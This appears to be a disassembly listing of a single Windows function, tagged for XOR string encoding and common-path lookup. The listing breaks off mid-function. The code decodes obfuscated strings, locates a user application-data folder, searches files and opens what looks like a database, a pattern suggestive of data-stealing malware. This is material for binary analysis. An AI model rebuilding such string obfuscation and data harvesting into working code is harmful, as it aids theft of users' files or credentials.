Function at 0x42af50
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52092a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2f0
push esi
mov esi, ecx
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x120], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00481590
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa0]
movaps xmm0, xmmword [0x544fd0]
sub esp, 8
mov eax, esp
mov dword [ebp - 0x1c], 1
movups xmmword [ebp - 0xec], xmm0
mov byte [ebp - 0xd4], 0
xorps xmm0, xmm0
movq qword [ebp - 0xdc], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xec], al
inc ecx
cmp ecx, 0x10
jb 0x42b000
mov dword [0x5585d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xec]
mov byte [ebp - 0xdc], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b040
sub ecx, edx
lea eax, [ebp - 0xec]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b20
mov dword [ebp - 0x1c], 0x40001
mov byte [ebp - 4], 5
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
mov ecx, esi
cmovae eax, dword [ebp - 0x90]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa0]
mov byte [edi], cl
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov byte [ebp - 0xa0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa0]
mov dword [edi + 8], eax
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], esi
call fcn.0047d5c0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x42b0fc
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b0f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x104
lea eax, [ebp - 0x300]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x300]
push eax
movzx eax, byte [ebp - 0x1d]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x300]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b140
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x42c773
cmp dword [ebx + 0x20], 0x10
lea eax, [ebx + 0xc]
push edx
cmovae eax, dword [ebx + 0xc]
push eax
push ecx
lea eax, [ebp - 0x300]
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x148]
call fcn.00487550
mov eax, 0x140001
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 7
xor edi, edi
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], edi
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 8
jne 0x42b6cb
sub esp, 0x18
lea eax, [ebp - 0x148]
mov ecx, esp
push eax
call fcn.0047faa0
push edi
mov dl, 1
lea ecx, [ebp - 0x68]
call fcn.004259f0
add esp, 0x1c
mov byte [ebp - 4], 9
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42b2b2
lea ecx, [ebp - 0x68]
call fcn.00481d80
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x42b235
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b22b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x42b269
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b25f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x42c755
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c74b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
jmp 0x42c74b
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
test eax, eax
je 0x42b6bd
xor edi, edi
mov dword [ebp - 0x44], edi
xorps xmm0, xmm0
mov byte [ebp - 0xb0], 0xb7
add edi, esi
movq qword [ebp - 0xaf], xmm0
mov byte [ebp - 0xa7], 0
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xb0], al
inc ecx
cmp ecx, 1
jb 0x42b2e1
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xb0]
mov byte [ebp - 0xaf], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b320
sub ecx, edx
lea eax, [ebp - 0xb0]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x20000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
cmovae edx, dword [ebp - 0x90]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b364
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x138]
sub eax, esi
cmp eax, ecx
jb 0x42c773
cmp dword [ebp - 0x134], 0x10
lea eax, [ebp - 0x148]
push ecx
cmovae eax, dword [ebp - 0x148]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x40]
call fcn.00487550
mov eax, dword [ebp - 0x14]
or eax, 0x10000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov esi, esp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], esi
push edi
call fcn.0047f840
xorps xmm0, xmm0
lea ecx, [ebp - 0x78]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
xor dl, dl
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
push 0
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x8000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004259f0
add esp, 0x1c
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x42b453
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b449
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x42b4a0
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b496
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x74]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x78]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42b680
xor ecx, ecx
mov dword [ebp - 0x50], ecx
test eax, eax
je 0x42b680
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebx + 0x38], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x24]
cmovae esi, dword [ebx + 0x24]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], esi
jb 0x42b4f3
mov ecx, dword [ecx]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebx + 0x34]
cmp edx, eax
ja 0x42b654
sub eax, edx
test edx, edx
je 0x42b5c0
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0xb8], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x42b654
nop
mov ecx, esi
mov edx, edi
mov esi, dword [ebx + 0x34]
sub esi, 4
jb 0x42b551
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x42b556
add edx, 4
add ecx, 4
sub esi, 4
jae 0x42b540
cmp esi, 0xfffffffc
je 0x42b58a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x42b583
cmp esi, 0xfffffffd
je 0x42b58a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x42b583
cmp esi, 0xfffffffe
je 0x42b58a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x42b583
cmp esi, 0xffffffff
je 0x42b58a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42b58a
sbb eax, eax
or eax, 1
jmp 0x42b58c
xor eax, eax
test eax, eax
je 0x42b5b4
mov eax, dword [ebp - 0xb8]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x6c]
push edi
call fcn.004fb3e0
mov esi, dword [ebp - 0x18]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x42b530
jmp 0x42b654
sub edi, dword [ebp - 0x28]
cmp edi, 0xffffffff
je 0x42b654
mov esi, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0x5c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x18], eax
je 0x42b627
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x5c]
mov dword [ebp - 0x6c], ecx
mov edx, dword [ecx + 0x10]
nop
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x42b5fa
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x42b604
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0048f820
add esp, 8
test al, al
jne 0x42b654
mov ecx, dword [ebp - 0x6c]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x18]
jb 0x42b5f0
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x44]
push eax
cmp esi, dword [ebp - 0x54]
je 0x42b645
mov ecx, esi
call fcn.0047faa0
add esi, 0x18
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x58], esi
jmp 0x42b654
push esi
lea ecx, [ebp - 0x5c]
call fcn.0048c7f0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x74]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x78]
sub ecx, esi
inc dword [ebp - 0x50]
add dword [ebp - 0x48], 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
jb 0x42b4d1
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 9
call fcn.00481d80
mov ecx, dword [ebp - 0x64]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x68]
sub ecx, esi
mov edi, dword [ebp - 0x44]
inc dword [ebp - 0x4c]
add edi, 0x18
imul ecx
mov dword [ebp - 0x44], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x4c], eax
jb 0x42b2c4
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 8
call fcn.00481d80
jmp 0x42b731
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xf
push eax
push 0
lea ecx, [ebp - 0x5c]
call fcn.0048c6d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x42b72e
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b724
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edi, dword [ebp - 0x58]
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x5c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42b7f8
xorps xmm0, xmm0
mov dword [ebp - 0xc0], eax
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], al
mov byte [ebp - 4], 0x10
cmp edi, dword [ebp - 0x54]
je 0x42b7a7
movups xmmword [edi], xmm0
mov dword [edi + 0x10], eax
lea ecx, [eax + 0xf]
movups xmm0, xmmword [ebp - 0xd0]
mov dword [edi + 0x14], eax
mov byte [ebp - 0xd0], al
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0xc0]
movq qword [edi + 0x10], xmm0
add edi, 0x18
mov dword [ebp - 0x58], edi
jmp 0x42b7c0
lea eax, [ebp - 0xd0]
push eax
push edi
lea ecx, [ebp - 0x5c]
call fcn.0048c6d0
mov edi, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xbc]
mov byte [ebp - 4], 8
cmp ecx, 0x10
jb 0x42b7f8
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b7ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c778
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub edi, dword [ebp - 0x5c]
mov eax, 0x2aaaaaab
imul edi
xor esi, esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x24], esi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xb8], eax
je 0x42c6a1
nop dword [eax]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x98]
push 0
mov byte [ebp - 0xa0], 0
call fcn.00481590
sub esp, 8
mov byte [ebp - 4], 0x12
mov eax, esp
lea ecx, [ebp - 0x158]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov byte [ebp - 4], 0x13
lea eax, [esi + esi*2]
mov ecx, dword [ebp - 0x5c]
lea edi, [ecx + eax*8]
mov al, byte [ebp - 0xa0]
mov dword [ebp - 0x48], edi
test al, al
jne 0x42b8d9
push 8
mov byte [ebp - 0xa0], 1
call fcn.004f7990
mov esi, eax
add esp, 4
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x1c0], esi
mov dword [ebp - 0x1c4], eax
mov byte [ebp - 4], 0x14
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004f7990
mov byte [ebp - 4], 0x13
add esp, 4
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x98], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x42b8e7
cmp al, 1
jne 0x42c716
mov esi, dword [ebp - 0x98]
push edi
mov ecx, esi
call fcn.00481760
mov byte [ebp - 4], 0x12
mov edi, eax
mov cl, byte [ebp - 0x158]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
mov byte [ebp - 0x158], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x158]
mov dword [edi + 8], eax
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], esi
call fcn.0047d5c0
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x42b974
movups xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov byte [ebp - 4], 0x17
lea edi, [ebp - 0x194]
mov esi, dword [ebp - 0x14]
or esi, 2
jmp 0x42ba68
mov byte [ebp - 0x103], 0xb7
xor ecx, ecx
movq qword [ebp - 0x102], xmm0
mov byte [ebp - 0xfa], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x103], al
inc ecx
cmp ecx, 1
jb 0x42b990
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x103]
mov byte [ebp - 0x102], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b9d0
sub ecx, edx
lea eax, [ebp - 0x103]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x4000
mov esi, dword [ebp - 0x48]
lea edx, [ebp - 0x40]
mov dword [ebp - 4], 0x18
or eax, 4
cmp dword [ebp - 0x2c], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x40]
mov esi, dword [esi + 0x10]
mov ecx, edx
mov dword [ebp - 0x1c], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ba17
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x42c773
mov edi, dword [ebp - 0x48]
mov eax, edi
cmp dword [edi + 0x14], 0x10
jb 0x42ba3c
mov eax, dword [edi]
push ecx
push edx
push esi
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xec]
call fcn.00487550
mov esi, dword [ebp - 0x14]
or esi, 0x1000
lea edi, [ebp - 0xec]
mov dword [ebp - 4], 0x19
or esi, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x76], 0xb7
xor ecx, ecx
movq qword [ebp - 0x75], xmm0
mov byte [ebp - 0x6d], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x76], al
inc ecx
cmp ecx, 1
jb 0x42ba80
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x76]
mov byte [ebp - 0x75], 0
movups xmmword [ebp - 0x11c], xmm0
mov dword [ebp - 0x10c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x108], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bac0
sub ecx, edx
lea eax, [ebp - 0x76]
push ecx
push eax
lea ecx, [ebp - 0x11c]
call fcn.00402b20
or esi, 0x200
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0x1a
lea edx, [ebp - 0x11c]
cmp dword [ebp - 0x108], 0x10
cmovae edx, dword [ebp - 0x11c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bb05
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x138]
sub eax, esi
cmp eax, ecx
jb 0x42c773
cmp dword [ebp - 0x134], 0x10
lea eax, [ebp - 0x148]
push ecx
cmovae eax, dword [ebp - 0x148]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1f4]
call fcn.00487550
mov esi, dword [ebp - 0x14]
or esi, 0x100
mov dword [ebp - 0x1c], esi
push edi
lea eax, [ebp - 0x1f4]
mov byte [ebp - 4], 0x1b
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1dc]
call fcn.00487360
or esi, 0x80
mov dword [ebp - 0x1c], esi
lea eax, [ebx + 0x24]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x1dc]
call fcn.0047f840
mov dword [ebp - 0xc0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0
or esi, 0x400
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
movups xmmword [ebp - 0xd0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x42bc1c
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bc12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x42bc75
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bc6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x108]
cmp ecx, 0x10
jb 0x42bcb3
mov edx, dword [ebp - 0x11c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bca9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x14]
test al, 8
je 0x42bd04
mov ecx, dword [ebp - 0xd8]
and eax, 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42bd04
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bcf7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x22
test al, 4
je 0x42bd4c
mov ecx, dword [ebp - 0x2c]
and eax, 0xfffffffb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42bd4c
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bd3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x23
test al, 2
je 0x42bd97
mov ecx, dword [ebp - 0x180]
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42bd97
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bd8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0xbc], 0x10
lea ecx, [ebp - 0xd0]
lea edx, [ebp - 0x44]
cmovae ecx, dword [ebp - 0xd0]
call fcn.00417ba0
test eax, eax
jne 0x42c538
movaps xmm0, xmmword [0x545f20]
xor ecx, ecx
movups xmmword [ebp - 0x1ac], xmm0
mov word [ebp - 0x18c], 0x682b
movaps xmm0, xmmword [0x5446c0]
movups xmmword [ebp - 0x19c], xmm0
mov byte [ebp - 0x18a], 0x62
movaps xmm0, xmmword [str.yaswg]
movups xmmword [ebp - 0x189], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1ac], al
inc ecx
cmp ecx, 0x2a
jb 0x42be00
mov dword [0x5585cc], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x182], 0
movups xmmword [ebp - 0x11c], xmm0
mov dword [ebp - 0x10c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x108], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42be45
sub ecx, edx
lea eax, [ebp - 0x1ac]
push ecx
push eax
lea ecx, [ebp - 0x11c]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0x11c]
mov edx, dword [ebp - 0x108]
or eax, 0x2000
mov ecx, dword [ebp - 0x11c]
cmp edx, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmovae esi, ecx
setae al
test al, al
je 0x42beb7
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42bead
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c76e
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x44]
lea eax, [ebp - 0x4c]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0xf
mov byte [ebp - 0x11c], 0
call fcn.004dd320
add esp, 0x14
test eax, eax
jne 0x42c530
mov edi, dword [ebp - 0x4c]
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
jne 0x42c4b8
lea eax, [ebp - 0xb1]
mov dword [ebp - 0x1bc], eax
test edi, edi
je 0x42bf61
cmp dword [edi + 0x2c], 0
je 0x42bf3c
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x42bf3c
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bf37
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x42bf66
mov eax, dword [edi]
test eax, eax
je 0x42bf61
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bf53
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x28], eax
test edi, edi
je 0x42c020
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x42bfae
cmp byte [esi + 0x1e], 0
jne 0x42bf91
mov eax, esi
cmp ecx, 0xc0a
jne 0x42bfa9
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x42bfb5
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bfcb
push eax
call dword [0x555d10]
add esp, 4
test edi, edi
je 0x42c020
cmp dword [edi + 0x2c], 0
je 0x42bffb
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x42bffb
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42bff3
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x42c025
mov eax, dword [edi]
test eax, eax
je 0x42c020
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42c012
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
